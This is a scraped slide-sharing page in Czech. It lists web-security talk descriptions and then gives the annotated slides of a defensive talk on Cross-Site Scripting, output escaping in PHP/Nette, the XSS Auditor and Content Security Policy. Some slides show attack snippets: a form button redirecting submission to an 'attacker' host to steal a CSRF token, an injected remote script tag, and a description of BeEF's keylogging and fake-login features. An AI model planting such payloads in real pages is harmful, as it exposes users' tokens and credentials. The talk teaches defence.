Ukládáš hesla do databáze jen tak, v čitelné podobě? Nebo používáš MD5? Nebo snad SHA-1? Vsadím se, že nevíš, co je to salt. Taky tajně doufám, že neposíláš hesla e-mailem. Jednoho krásného dne se někde na webu objeví obsah databáze tvojí webové aplikace a její uživatelé nebudou mít radost. Nevystavuj je zbytečnému nebezpečí a raději si rezervuj místo v první řadě a já ti ukážu, jak se se svým webem nedostat do hlavního zpravodajství TV Nova.
Zajímá vás správné ukládání hesel? Přijďte si o tom popovídat na školení Bezpečnost PHP aplikací: http://www.michalspacek.cz/skoleni/bezpecnost-php-aplikaci
Jak zlepšit zabezpečení čtvrtiny celého webuMichal Špaček
WordPress prý používá 27 % webu. Na následujících slajdech bych chtěl naznačit, co bychom ve WordPressu mohli zlepšit z pohledu bezpečnosti,protože když to uděláme, tak se zvýší zabezpečení poměrně hodně webů. Já vím, ne všichni aktualizují, ale o tom někdy jindy.
HTTP Strict Transport Security (HSTS), zajistí zabezpečený „převoz“ informací bez možnosti odstranění HTTPS (SSL Strip). HSTS je HTTP hlavička, kterou posílá server. Browser poté bude po X sekund interně přesměrovávat http:// na https://.
Jak jsme zlepšili zabezpečení Slevomatu.
Chceš zlepšit zabezpečení webu a nevíš kde začít a kdy skončit? Ukážu ti, co jsme udělali na Slevomatu, co všechno jsme museli vyřešit, čemu jsme se divili a co plánujeme. Třeba tě to trochu taky nakopne.
Víceúrovňová obrana vysvětlená na Cross-Site ScriptinguMichal Špaček
Jak se pomocí více úrovní obrany bránit proti notoricky známému útoku Cross-Site Scripting (XSS). Jaké vrstvy zabezpečení existují a kdy se používají. O vlastnostech prohlížečů a Content Security Policy (CSP).
Securitas, res publica.
V posledních pár letech se s bezpečnostními incidenty roztrhl pytel. Tady unikl seznam uživatelů, tady i jejich hesla, tady jen jejich objednávky. V této přednášce spojíme moje dvě oblíbená rčení a to, že každý web je dostatečně dobrý na hacknutí a že opakování je matkou moudrosti. Zopakujeme si, koho už u nás hacknuli a poněvadž by to byla nekonečně dlouhá přednáška, tak se raději zaměříme jen na zveřejněné případy.
Bezpečnost, věc veřejná.
Ukládáš hesla do databáze jen tak, v čitelné podobě? Nebo používáš MD5? Nebo snad SHA-1? Vsadím se, že nevíš, co je to salt. Taky tajně doufám, že neposíláš hesla e-mailem. Jednoho krásného dne se někde na webu objeví obsah databáze tvojí webové aplikace a její uživatelé nebudou mít radost. Nevystavuj je zbytečnému nebezpečí a raději si rezervuj místo v první řadě a já ti ukážu, jak se se svým webem nedostat do hlavního zpravodajství TV Nova.
Zajímá vás správné ukládání hesel? Přijďte si o tom popovídat na školení Bezpečnost PHP aplikací: http://www.michalspacek.cz/skoleni/bezpecnost-php-aplikaci
Jak zlepšit zabezpečení čtvrtiny celého webuMichal Špaček
WordPress prý používá 27 % webu. Na následujících slajdech bych chtěl naznačit, co bychom ve WordPressu mohli zlepšit z pohledu bezpečnosti,protože když to uděláme, tak se zvýší zabezpečení poměrně hodně webů. Já vím, ne všichni aktualizují, ale o tom někdy jindy.
HTTP Strict Transport Security (HSTS), zajistí zabezpečený „převoz“ informací bez možnosti odstranění HTTPS (SSL Strip). HSTS je HTTP hlavička, kterou posílá server. Browser poté bude po X sekund interně přesměrovávat http:// na https://.
Jak jsme zlepšili zabezpečení Slevomatu.
Chceš zlepšit zabezpečení webu a nevíš kde začít a kdy skončit? Ukážu ti, co jsme udělali na Slevomatu, co všechno jsme museli vyřešit, čemu jsme se divili a co plánujeme. Třeba tě to trochu taky nakopne.
Víceúrovňová obrana vysvětlená na Cross-Site ScriptinguMichal Špaček
Jak se pomocí více úrovní obrany bránit proti notoricky známému útoku Cross-Site Scripting (XSS). Jaké vrstvy zabezpečení existují a kdy se používají. O vlastnostech prohlížečů a Content Security Policy (CSP).
Securitas, res publica.
V posledních pár letech se s bezpečnostními incidenty roztrhl pytel. Tady unikl seznam uživatelů, tady i jejich hesla, tady jen jejich objednávky. V této přednášce spojíme moje dvě oblíbená rčení a to, že každý web je dostatečně dobrý na hacknutí a že opakování je matkou moudrosti. Zopakujeme si, koho už u nás hacknuli a poněvadž by to byla nekonečně dlouhá přednáška, tak se raději zaměříme jen na zveřejněné případy.
Bezpečnost, věc veřejná.
… a chtělo svoje útoky zpět. Útok Cross-Site Scripting (XSS) byl poprvé popsán v roce 1999 a od té doby je tu stále s námi. Proč je tak nebezpečný a jak se mu bránit, když to vývojáři evidentně nezvládají?
Základy webové bezpečnosti pro PR a marketingMichal Špaček
Na dotazy ohledně ukládání hesel raději odpovídejte až zhlédnutí této přednášky. Proč je důležité správné ukládání hesel a co se pod tím vlastně skrývá? Nebojte se, do zbytečných technických detailů zabíhat nebudeme. Podíváme se také na šifrovaný přenos přihlašovacích údajů, bezpečnostní otázky a na příkladech si ukážeme špatné odpovědi na různé zapeklité otázky ohledně zabezpečení některých webů. Po této přednášce byste měli vědět, jak na sociálních sítích správně odpovídat nejen na moje dotazy.
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)Michal Špaček
Víte, že nevíte, že já vím, že nevíte?
Po přednášce už budete vědět. Ukážu vám pár chyb, které možná již znáte, jen netušíte, že kvůli nim zrovna váš web opouští data vaše nebo vašich uživatelů. A že budete bezpečnost webu řešit až se něco stane a že se ještě nic nestalo? Jasně, tak hlavně přijďte :-)
Jako odborníci v IT už asi víte, že máte používat nějaký password manager, že? Ale jaký a jaké jsou rozdíly mezi nimi? A v čem se liší 1Password od LastPassu, tedy kromě ceny?
Každý rok se objeví několik desítek nových typů útoků a hackovacích technik na webové aplikace. V loňském roce jich bylo popsáno 31, pojďme si některé nové i starší útoky představit.
Jak vytvářet hesla, co je to password manager a proč ho nutně potřebujete.
Zapomínáte hesla? Já taky ne. Používáte heslo pro přístup k vašemu emailu i pro přístup k jiným službám? Pokud ano, tak to není moc dobrý nápad. Prozradím vám, jak to dělat lépe.
Pár praktických ukázek, ve kterých ukážu, proč se věnovat zabezpečení e-shopů a co se stane, když se na to vykašlete. A že když to budete řešit, až se když se něco bude dít, tak už může být pozdě.
Útoků na webové aplikace existují desítky. Představíme si tři základní, ukážeme si, jak takový útok provést a jak webovou aplikaci proti danému útoku zabezpečit. Na závěr si ukážeme, jak bezpečně ukládat uživatelská hesla.
Tato přednáška byla doplněna a nahrazena novější přednáškou "Hlava není na hesla", prohlédněte si raději tu. Najdete ji na https://www.michalspacek.cz/prednasky/hlava-neni-na-hesla-barcampjc
Odkazy z článku jsou také na http://www.michalspacek.cz/prednasky/zapomente-vase-hesla-new-media-inspiration
Přednáška s podtitulkem Jak vytvářet, ukládat, používat hesla, jaké nástroje k tomu používat a proč proboha.
Používáte hesla? Kolik jich máte? Asi dost, co. Znáte nějaký program pro správu a pamatování hesel nebo snad používáte jedno heslo na více místech? Používáte heslo pro přístup k vašemu emailu i pro přístup k jiným službám? Šmarjá, opravdu? Když náhodou takové službě unikne databáze emailů a hesel, včetně toho vašeho, tak pak případný zlý hoch může získat přístup i k dalším službám, protože do vaší emailové schránky vám chodí např. zapomenutá hesla nebo odkazy na nastavení hesel nových. Pokud k tomu tedy dojde, tak vás může zachránit už jen dvoufaktorová autentizace, víte, co to je? To je otázek, že… ale nebojte, mám i odpovědi.
Lehce osvětová přednáška o tom, proč by HTTPS mělo být úplně všude, nejen na přihlašovacím formuláři. A že šifrování není jenom o HTTPS. Jako obvykle si něco i ukážeme.
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5Michal Špaček
Útoků na webové aplikace existují desítky. Představíme si tři základní, ukážeme si, jak takový útok provést a jak webovou aplikaci proti danému útoku zabezpečit. Na závěr si ukážeme, jak bezpečně ukládat uživatelská hesla a pár špeků, kterým byste se měli obloukem vyhnout.
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...New Media Inspiration
Prezentace z třetího ročníku konference New Media Inspiration (http://nminspiration.cz), který se konal 8. 2. 2014 v hlavní budově FF UK pod vedením @petrkou, @simindr a @josefslerka.
HTTPS zdarma a pro všechny - LinuxDays 2015tomashala
Proč by na HTTPS měly běžet i weby, ke kterým se nepřihlašujete? Co znamenají chyby nalezené v SSL/TLS za poslední rok? V čem se můžeme poučit z kauzy Hacking Team? Jak se s přechodem na HTTPS vypořádávají vyhledávače? Jak si nerozbít web při honbě za A+ ratingem u SSL Labs? Co přináší nový HTTP/2 protokol? A proč má být na webhostingu HTTPS k dispozici zdarma a všem?
Presenting an informal lunch talk on using a password manager to handle personal internet accounts securely. Also discussing 2-factor authentication a bit. Discussion features Lastpass a little bit.
I forgot my password – what a secure password reset needs to have and whyMichal Špaček
Users often forget their passwords, so applications often must have a password reset mechanism. There are several options for how to do it; some of them are good, most of them not so good. Generate a password and send it in an email? No. Security questions? No way. Reset passwords via a phone call? Rather not. This talk presents some really creative examples of botched password reset implementations, as well as a proven method for resetting passwords securely.
… a chtělo svoje útoky zpět. Útok Cross-Site Scripting (XSS) byl poprvé popsán v roce 1999 a od té doby je tu stále s námi. Proč je tak nebezpečný a jak se mu bránit, když to vývojáři evidentně nezvládají?
Základy webové bezpečnosti pro PR a marketingMichal Špaček
Na dotazy ohledně ukládání hesel raději odpovídejte až zhlédnutí této přednášky. Proč je důležité správné ukládání hesel a co se pod tím vlastně skrývá? Nebojte se, do zbytečných technických detailů zabíhat nebudeme. Podíváme se také na šifrovaný přenos přihlašovacích údajů, bezpečnostní otázky a na příkladech si ukážeme špatné odpovědi na různé zapeklité otázky ohledně zabezpečení některých webů. Po této přednášce byste měli vědět, jak na sociálních sítích správně odpovídat nejen na moje dotazy.
Víte, že nevíte, že já vím, že nevíte? (WebTop100 2014)Michal Špaček
Víte, že nevíte, že já vím, že nevíte?
Po přednášce už budete vědět. Ukážu vám pár chyb, které možná již znáte, jen netušíte, že kvůli nim zrovna váš web opouští data vaše nebo vašich uživatelů. A že budete bezpečnost webu řešit až se něco stane a že se ještě nic nestalo? Jasně, tak hlavně přijďte :-)
Jako odborníci v IT už asi víte, že máte používat nějaký password manager, že? Ale jaký a jaké jsou rozdíly mezi nimi? A v čem se liší 1Password od LastPassu, tedy kromě ceny?
Každý rok se objeví několik desítek nových typů útoků a hackovacích technik na webové aplikace. V loňském roce jich bylo popsáno 31, pojďme si některé nové i starší útoky představit.
Jak vytvářet hesla, co je to password manager a proč ho nutně potřebujete.
Zapomínáte hesla? Já taky ne. Používáte heslo pro přístup k vašemu emailu i pro přístup k jiným službám? Pokud ano, tak to není moc dobrý nápad. Prozradím vám, jak to dělat lépe.
Pár praktických ukázek, ve kterých ukážu, proč se věnovat zabezpečení e-shopů a co se stane, když se na to vykašlete. A že když to budete řešit, až se když se něco bude dít, tak už může být pozdě.
Útoků na webové aplikace existují desítky. Představíme si tři základní, ukážeme si, jak takový útok provést a jak webovou aplikaci proti danému útoku zabezpečit. Na závěr si ukážeme, jak bezpečně ukládat uživatelská hesla.
Tato přednáška byla doplněna a nahrazena novější přednáškou "Hlava není na hesla", prohlédněte si raději tu. Najdete ji na https://www.michalspacek.cz/prednasky/hlava-neni-na-hesla-barcampjc
Odkazy z článku jsou také na http://www.michalspacek.cz/prednasky/zapomente-vase-hesla-new-media-inspiration
Přednáška s podtitulkem Jak vytvářet, ukládat, používat hesla, jaké nástroje k tomu používat a proč proboha.
Používáte hesla? Kolik jich máte? Asi dost, co. Znáte nějaký program pro správu a pamatování hesel nebo snad používáte jedno heslo na více místech? Používáte heslo pro přístup k vašemu emailu i pro přístup k jiným službám? Šmarjá, opravdu? Když náhodou takové službě unikne databáze emailů a hesel, včetně toho vašeho, tak pak případný zlý hoch může získat přístup i k dalším službám, protože do vaší emailové schránky vám chodí např. zapomenutá hesla nebo odkazy na nastavení hesel nových. Pokud k tomu tedy dojde, tak vás může zachránit už jen dvoufaktorová autentizace, víte, co to je? To je otázek, že… ale nebojte, mám i odpovědi.
Lehce osvětová přednáška o tom, proč by HTTPS mělo být úplně všude, nejen na přihlašovacím formuláři. A že šifrování není jenom o HTTPS. Jako obvykle si něco i ukážeme.
Bezpečnostní útoky na webové aplikace, Čtvrtkon 5Michal Špaček
Útoků na webové aplikace existují desítky. Představíme si tři základní, ukážeme si, jak takový útok provést a jak webovou aplikaci proti danému útoku zabezpečit. Na závěr si ukážeme, jak bezpečně ukládat uživatelská hesla a pár špeků, kterým byste se měli obloukem vyhnout.
NMI14 Michal Špaček - Jak vytvářet, ukládat, používat hesla, jaké nástroje k ...New Media Inspiration
Prezentace z třetího ročníku konference New Media Inspiration (http://nminspiration.cz), který se konal 8. 2. 2014 v hlavní budově FF UK pod vedením @petrkou, @simindr a @josefslerka.
HTTPS zdarma a pro všechny - LinuxDays 2015tomashala
Proč by na HTTPS měly běžet i weby, ke kterým se nepřihlašujete? Co znamenají chyby nalezené v SSL/TLS za poslední rok? V čem se můžeme poučit z kauzy Hacking Team? Jak se s přechodem na HTTPS vypořádávají vyhledávače? Jak si nerozbít web při honbě za A+ ratingem u SSL Labs? Co přináší nový HTTP/2 protokol? A proč má být na webhostingu HTTPS k dispozici zdarma a všem?
Presenting an informal lunch talk on using a password manager to handle personal internet accounts securely. Also discussing 2-factor authentication a bit. Discussion features Lastpass a little bit.
I forgot my password – what a secure password reset needs to have and whyMichal Špaček
Users often forget their passwords, so applications often must have a password reset mechanism. There are several options for how to do it; some of them are good, most of them not so good. Generate a password and send it in an email? No. Security questions? No way. Reset passwords via a phone call? Rather not. This talk presents some really creative examples of botched password reset implementations, as well as a proven method for resetting passwords securely.
"Arbejde fremstilling og handling" Hannah Arendt's filosofi om arbejde. Works...Tommy Kjær Lassen
Workshopartikel: Organisation og samarbejde.
En udlægning af Hannah Arendt filosofi om det at arbejde.
Teori og Øvelser.
Original manus: Thomas Engelmann
DAILY AGRI REPORT BY EPIC RESEARCH- 3 NOVEMBER 2012Epic Research
Epic Research is a leading financial services provider with presence in Indian and other global capital markets. Provides Stock Tips, Forex Tips, Commodity Tips, MCX Tips, Equity Tips, Intraday Tips, NSE Tips, BSE Tips, COMEX Tips, PCG Pack and NCDEX Tips. We provide services in equity, commodity and Forex market.
Building a InCredible Product Brand (Christina Inge) ProductCamp Boston May 2013ProductCamp Boston
Building a brand is what can make or break a new product. Often what distinguishes a successful product from an also-ran is a brand that's credible and resonates with the marketplace.
We'll look at what makes for a successful brand, going beyond image to finding the true value of your product. Make your product stand out from the competition, be first in consumers' minds, and gain a loyal following of advocates and customers.
If branding is tricky, re-branding is even ******, because you need to create credibility for the new brand when you have the legacy of what's gone before. Drawing on a case study of a successful rebranding of one product group from one industry to another, while completely changing everything from look and feel to target audience, we'll look at ways to both brand your new product right and rebrand it for success when you're changing directions.
This presentation was delivered at ProductCamp Boston, May 4, 2013 by Christina Inge
#golang @SkrzCzDev (Skrz DEV Cirkus 21.10.2015)Jakub Kulhan
Go se @SkrzCz používá pro výkonově nejnáročnější části aplikaci. Jedna z nich je servírování bannerů a výběr těch správných reklam do nich. 1000 req/s v peaku a "adbandit" má minimální nároky na server. Podívejte se, jak použít Go ve spolupráci s ReactPHP a RabbitMQ.
node.js: zápisky z fronty (Battle guide to node.js)almadcz
[czech] V Apiary používáme node.js v produkci už přes rok.
Proč se zamyslet nad tím, zda ho chcete? A na co se připravit a na co si dát pozor, pokud se do toho pustíte?
Slidy z přednášky o bezpečnostni Wordpressu na 3. WP konferenci.
Kdo je útočník, jaké jsou jeho možnosti a jak se mu bránit.
Další materiály se objeví na http://edu.lynt.cz
WordPress šablony a rychlost načítání (WordCamp Praha 2017)Martin Michálek
Jak si nejprodávanější WordPress šablony stojí s rychlostí frontendu? Zjistil jsem, že to moc testovat nejde a tak kupujete zajíce v pytli. V přednášce tedy dostanete seznam nejčastějších problémů a stručný návod k jejich odstranění.
Přednáška z 4. WP konference - bezpečnost Wordpressu. Aktuální statistiky, základní útoky, skenování wordpressu, iThemes Securtiy, Fail2Ban, Web Application Firewall.
Další info na: http://edu.lynt.cz/course/bezpecnost-wordpressu
Základy zabezpečení redakčního systému WordPress - aktualizace, problémy multihostingu, práva a hesla, bezpečnostní plugin WordFence, zálohování.
Prezentace z WordPress konference 25.6.2016.
Fantom Opery, "VPN" a Secure Proxy v OpeřeMichal Špaček
Jak jsem pomocí prohlížeče přišel na to, že Opera VPN není VPN aneb co všechno na sebe Chrome prozradí v chrome://net-internals/ a jak to můžete použít pro ladění nebo zkoumání různých udělátek a extenzí.
Would you voluntarily share how your web app stores passwords? Some companies indeed do share, for example Facebook and LastPass to name just a few. Some share involuntarily. Some don't share at all because they feel that it will make them more vulnerable. Here's why you should do that and how.
Operations security (OPSEC) is a term originating in U.S. military jargon. In IT, it says what to do to protect your servers, developers, information, and other resources. Targeting developers, new trend in computer security, is becoming increasingly common because they usually have access to production servers and other critical infrastructure.
HTTP Strict Transport Security (HSTS), English versionMichal Špaček
HTTP Strict Transport Security (HSTS) provides secure transport of data, by removing the possibility of HTTPS stripping. HSTS is an HTTP header issued by the server. After receiving such header, the browser will perform internal redirects from http:// to https:// for given amount of seconds.
From unsalted SHA-1 to bcrypt, from generated passwords sent in e-mails to just links and other stories of securing user passwords at your regular e-commerce site from web developer's point of view.
Video of the talk available at http://www.michalspacek.cz/prednasky/the-problem-with-the-real-world-passwords
Bezpečnost webových aplikací Web Inkognito VŠE 05/2013
XSS PHP CSP ETC OMG WTF BBQ
1. Michal ŠpačekMichal Špaček www.michalspacek.czwww.michalspacek.cz @spazef0rze@spazef0rze
XSS PHP CSP ETC OMG WTF BBQXSS PHP CSP ETC OMG WTF BBQ
O útoku Cross-Site Scripting, hovězím, Content Security Policy i všem ostatním.
Tyto slajdy obsahují poznámky, které v původní přednášce nejsou.
https://commons.wikimedia.org/wiki/File:Standing-rib-roast.jpg
2. XSS
Cross-Site Scripting
Útok Cross-Site Scripting (XSS) poprvé popsal David Ross z Microsoftu už v
roce 1999. Od té doby je na webu stále k vidění, nezmizel a pořád je tu s námi.
Vývojářům se ho totiž nedaří moc eliminovat, i přesto, že o XSS už alespoň
jednou v životě slyšeli.
3. Cross-Site Scripting se nevyhýbá ani známým, leč nejmenovaným firmám. Podívejte
se na zeď slávy jedné takové a uvidíte, kolikrát se na jejich webu objevil. Jednička v
alertu na stránce je pro spoustu lidí ten útok XSS, ale to vůbec není vše, co dokáže.
4. Názvy foo, bar, foobar a další slouží pro případ, kdy nevíte, jak něco pojmenovat.
Já když nevím, tak to pojmenuju nějak takto. Můj SSH klíč je sice můj dobrý
kamarád, ale přesto bych nevěděl, jak jinak ho pojmenovat.
5. Trochu mě překvapilo, když na mě po uložení klíče na další stránce vyskočil náš
starý známý alert. V tomto případě šel Cross-Site Scripting použít k získání
uživatelovo CSRF tokenu z cookie, stačilo mu poslat odkaz na stránku, bez
JavaScriptu v URL – tomu se říká Stored XSS. Za nahlášení tohoto problému mě
Atlassian zařadil do Security Hall of Fame, díky!
6. LastPass nepoužívám jako svůj hlavní password manager, takže náhodně
vygenerované hlavní heslo mám napsané v jiném správci hesel. Není tedy nic, co by
mi ho připomnělo. A když nevím co napsat, tak programuju v JavaScriptu.
7. Po uložení na mě zase vyskočil nějaký alert, tentokrát ale JavaScript na tomto místě
nešel k ničemu zneužít. I přesto mě do síně slávy LastPassu zařadili a nahlášení
tenkrát ocenili 5 body, díky.
8. echo $row->username;
Z pohledu vývojáře vypadá útok Cross-Site Scripting například takhle. Dostanete za
úkol něco vypsat, tak to vypíšete. Narozdíl od například vyhledávacího políčka vás
ani nenapadne ošetřovat uživatelské jméno. Asi byste se divili, kolik uživatelů si do
něj schválně vloží nějaký roztomilý JavaScript. Ten se pak spouští na každé stránce,
kde se jméno vypisuje, tedy například i v administraci e-shopu.
9. Další až příliš častá varianta XSS vypadá třeba takto. JavaScript, nebo v tomto
případě obrázek, je vložený přímo do URL a uživatel musí na web přijít přes tuto
speciálně upravenou adresu. Této variantě se říká Reflected XSS. Jen pro jistotu,
ten obrázek na web nepatří, ačkoliv se tam vlastně docela hodí.
10. The Browser Exploitation Framework (BeEF) Project
Demo
The Browser Exploitation Framework usnadňuje spouštění útoků XSS. Pomocí něj
je možné ovládat více browserů, které jsou připojené (hooked) na BeEF server.
Browser můžeme donutit zahrát nějakou písničku, získávat z něj stisknuté klávesy
nebo v něm zobrazit falešný přihlašovací formulář. Ukázku naleznete ve videu
přibližně od 14. minuty.
11. echo htmlspecialchars($row->username);
Pokud se chcete bránit útoku Cross-Site Scripting, měli byste veškerý uživatelský
vstup včetně uživatelského jména ošetřovat pomocí funkce htmlspecialchars().
12. <script>
var tracking = '<?php echo … ?>';
</script>
Pokud budeme vypisovat uživatelský vstup do JavaScriptu, tak jen samotné
htmlspecialchars($vstup) nemusí stačit. V JavaScriptu se řetězce uzavírají do
jednoduchých uvozovek (apostrofů) a htmlspecialchars() standardně apostrofy
nepřevádí.
14. {$row->username}
Nejlepší věc, co můžete udělat pro obranu proti Cross-Site Scriptingu je použít
nějaký šablonovací systém, který výstup správně a sám automagicky ošetřuje.
Nemůžete pak na ošetření zapomenout. Toto je ukázka správně ošetřeného výpisu
uživatelského jména v Nette, resp. v šablonovacím systému Latte.
15. $el = Html::el()
→add('Uživatel ')
→add(Html::el('b')→add($row name→ ))
→add(' přidán');
$this→flashMessage($el);
Při použití frameworků a šablonovacích systémů je potřeba dávat pozor na jejich
správné použití. Framework Nette obsahuje hezkou třídu pro vytváření HTML kódu,
která se dá použít například pro zobrazování flash message s formátováním zprávy.
Najdete v této ukázce zobrazení flash message „Uživatel Michal přidán“ chybu,
která umožňuje provést XSS? Aktualizace: v Nette/Utils 2.4.0 byla metoda add()
přejmenována na jasnější addHtml() a byla přidána nová metoda addText().
16. $el = Html::el()
→setText('Uživatel ')
→add(Html::el('b')→setText($row name))→
→add(Html::el()→setText(' přidán'));
$this->flashMessage($el);
Místo metody add() byste měli použít metodu setText(), ta ošetřuje uživatelský
vstup. Slova „Uživatel“ a „přidán“ bychom sice mohli připojit pomocí add(), ale pro
jistotu použijeme také setText(). V budoucnu by totiž někdo mohl text nahradit za
uživatelský vstup a nemusel by si všimnout, že má změnit i jméno metody.
Aktualizace: v Nette/Utils 2.4.0 byla metoda add() přejmenována na přesnější
addHtml() a byla přidána nová metoda addText(), tu můžete použít také.
17. XSS
Auditor/Filter
Weboví vývojáři zapomínají vstupy ošetřovat a zapomínat budou z různých důvodů
i nadále. Proto se výrobci browserů už před časem rozhodli, že zavedou několik
dalších úrovní obrany, které mohou problém do jisté míry zmenšit. Jedna z takových
úrovní je tzv. XSS Auditor (někdy nazýváno jako XSS filtr), který je v Chrome a IE.
Do Firefoxu si ho můžete přidat instalací rozšíření NoScript. XSS filtr může zabránit
útoku Reflected XSS tím, že v požadavku, např. v adrese nebo formulářových polích
hledá JavaScript a zkoumá, jestli se nevrátil v odpovědi serveru a pokud ano, tak
jeho spuštění zablokuje, ale stránku zobrazí.
18. X-XSS-Protection: 1; mode=block
„Vyčištění“ stránky je defaultní nastavení. XSS auditor se někdy nemusí správně
trefit a může zablokovat spuštění správného JavaScriptu nebo při pokusu o „opravu“
stránky právě může nějaký Cross-Site Scripting vyrobit. Proto je lepší ze serveru
poslat hlavičku zobrazenou výše a filtr nastavit do režimu block. Nebo ho úplně
vypnout pomocí hodnoty 0.
19. X-XSS-Protection: 1; mode=block; report=https://…
Hlavička X-XSS-Protection má nestandardní rozšíření report. Hodnotou tohoto
parametru je adresa, na kterou browser návštěvníka pošle report, pokud se XSS
auditor aktivuje. Vy se tedy dozvíte, jestli na webu někde máte možnost Reflected
XSS provést. Report podporuje WebKit a Chromium a prohlížeče na nich postavené.
20. request-url + request-body
Browser na uvedenou adresu pošle JSON se dvěma klíči, request-url a request-
body. Dozvíte se tedy na jaké adrese je možné XSS provést a jaký požadavek
aktivaci XSS auditoru způsobil a problém pak můžete vyřešit. Reporty si můžete
posílat do vlastní aplikace, v budoucnu by tento typ reportů mohl umět i nástroj
report-uri.io.
21. CSP
Content Security Policy
Content Security Policy umí zabránit i ostatním typům XSS útoků, nejenom
Reflected variantě. CSP podporují všechny moderní browsery (Chrome, Firefox,
Edge a některé další) a spočívá v tom, že browseru pomocí whitelistu řeknete, které
zdroje (např. JavaScript, obrázky a další) a odkud může do aktuálně zobrazované
stránky načítat. Pokud chcete CSP používat pro weby psané v Nette, sledujte vývoj
balíčku spaze/csp-config na GitHubu.
22. Content Security Policy je v podstatě obyčejná HTTP hlavička, kterou server
prohlížeči posílá. Obsah té hlavičky může být poměrně dlouhý, podle toho, co
všechno chci browseru povolit. Hlavička také může být na každé stránce jiná.
23. Content-Security-Policy: default-src 'self'
Základní nastavení, které byste mohli chtít používat je defaultně povolit načítání
obrázků, JavaScriptů a dalších zdrojů pouze z domény, na které je umístěna
načítaná stránka. To zajistíme použitím direktivy default-src a hodnoty 'self' v
apostrofech. Browser pak například JavaScript vložený do stránky pomocí <script
src=//útočník/útok.js></script> nenačte a to i přesto, že v HTML taková
značka opravdu bude. Přísnější je nastavení default-src 'none', které zakáže
načítání všeho odkudkoliv. Nebojte, postupně jednotlivé typy zdrojů povolíme.
24. Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com
CSP direktiva img-src určuje, odkud může browser načítat obrázky. Hodnotou
'self' říkám, že je mohu načítat pouze z aktuální domény a druhou hodnotou
https://www.google-analytics.com říkám, že prohlížeč načte i obrázky vložené
pomocí <img src=https://www.google-analytics.com/...>. Google Analytics
si do stránky vkládá obrázek pomocí JavaScriptu, pro správnou funkčnost to
musíme tedy povolit. Ostatní zdroje, například kaskádové styly se načtou pouze ze
'self' domény, povolí to direktiva default-src. Hlavička by samozřejmě měla být
na jedné řádce, na slajdech je rozdělena z důvodu nedostatku místa.
25. Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com
Direktivou script-src určujeme, odkud browser může stáhnout a spustit
JavaScript. Hodnoty 'self' a https://www.google-analytics.com opět říkají,
že do stránky se může stahovat JavaScript pouze z aktuální domény a z domény
https://www.google-analytics.com. Nespustí se dokonce ani inline JavaScript, tedy
kód napsaný mezi značkami <script> a </script> nebo v atributech jako
onmouseover, onerror apod.
26. Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' 'unsafe-inline'
Pokud byste takový inline JavaScript chtěli spouštět, musíte přidat hodnotu
'unsafe-inline'. Už z názvu je vidět, že tvůrci specifikace CSP považují inline
JavaScript za nebezpečný. Mohl ho do stránky totiž vložit útočník. Používat inline
JavaScript bych nedoporučoval, nepříjemné ale je to, že bez něj nefungují některé
nástroje jako například Google Tag Manager. Pokud ho na stránkách používáte,
musíte mít 'unsafe-inline' povolené. Content Security Policy Level 2 přidává
možnost k inline JavaScriptu připojit hash nebo token pro ověření, čímž se zaručí,
že přímo ve stránce bude spuštěn pouze JS, který je předem známý. Podpora
tohoto způsobu zatím není v browserech moc rozšířená, bohužel.
27. Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com
Když do stránky budete chtít vložit nějaký iframe, například video z YouTube, tak
musíte doménu povolit pomocí direktivy frame-src. Tato direktiva musí být uvedena
i když byste chtěli do stránky vložit frame z vaší domény, default-src 'self' totiž
nezahrnuje frame-src. Direktiva frame-src je zastaralá, v novější verzi CSP je
nahrazena direktivou child-src a ta již do default-src spadá. Tu bohužel
nepodporuje třeba Safari a nejčastěji to dopadá tak, že se prostě pošle child-src
a frame-src zároveň, se stejnými hodnotami.
28. Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com;
form-action 'self'
CSP umí pomocí direktivy form-action omezit URI, na které se odesílají formuláře
na stránce. Direktiva do default-src také nespadá. Pomocí form-action 'self'
říkám, že formuláře bude možné odeslat pouze na aktuální doménu. Útočník tak
nemůže vložit nějaký falešný formulář, který si odešle k sobě.
29. <input
type=submit
form="form1"
formaction="https://attacker"
>
V HTML 5 je možné do stránky vložit odesílací tlačíko i mimo samotný formulář
a pomocí atributu form ho s tímto formulářem propojit. Pomocí formaction mu pak
dokonce mohu změnit adresu, kam se formulář odešle. Velkým tlačítkem s nápisem
„Neklikejte sem“ tak mohu uživateli ukrást třeba statický CSRF token. Tomuto typu
útoku se říká Scriptless Attack a nejen kvůli němu byste měli omezit, kam vaše
formuláře lze odesílat.
30. Content-Security-Policy:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com;
form-action 'self';
report-uri https://….report-uri.io/r/…
Content Security Policy také nabízí reportování, pokud k porušení nějaké nastavené
politiky v browseru dojde. Prohlížeč na zadanou adresu opět odešle JSON, tentokrát
trochu větší. Přijímání a zobrazování reportů si můžete napsat sami, ale je
výhodnější použít službu report-uri.io. Uživatelé mají totiž zavirované počítače, jsou
připojení na zákeřných Wi-Fi sítích, které do stránek vkládají reklamy, nebo mají jen
nainstalované špatně napsané extenze prohlížečů a tohle všechno zaručí, že vám
těch reportů bude chodit celkem dost.
31. Napsat správně zobrazování reportů není zrovna lehké a je zbytečné to dělat znovu.
Služba report-uri.io umí přehledně zobrazovat reporty, vytvářet grafy apod.
a pomůže vám zjistit, kde je problém. Výše je vidět report, který mi oznamuje, že
jsem udělal chybu na svém webu, pokusil jsem se totiž vložit obrázek ze špatného
umístění, které není povolené. Můj admin totiž nemá povoleno vkládat obrázky z
https://admin.michalspacek.cz. Bezpečnostní útok by byl hlášen podobně.
32. Content-Security-Policy-Report-Only:
default-src 'self';
img-src 'self' https://www.google-analytics.com;
script-src 'self' https://www.google-analytics.com;
frame-src https://www.youtube-nocookie.com;
form-action 'self';
report-uri https://….report-uri.io/r/…
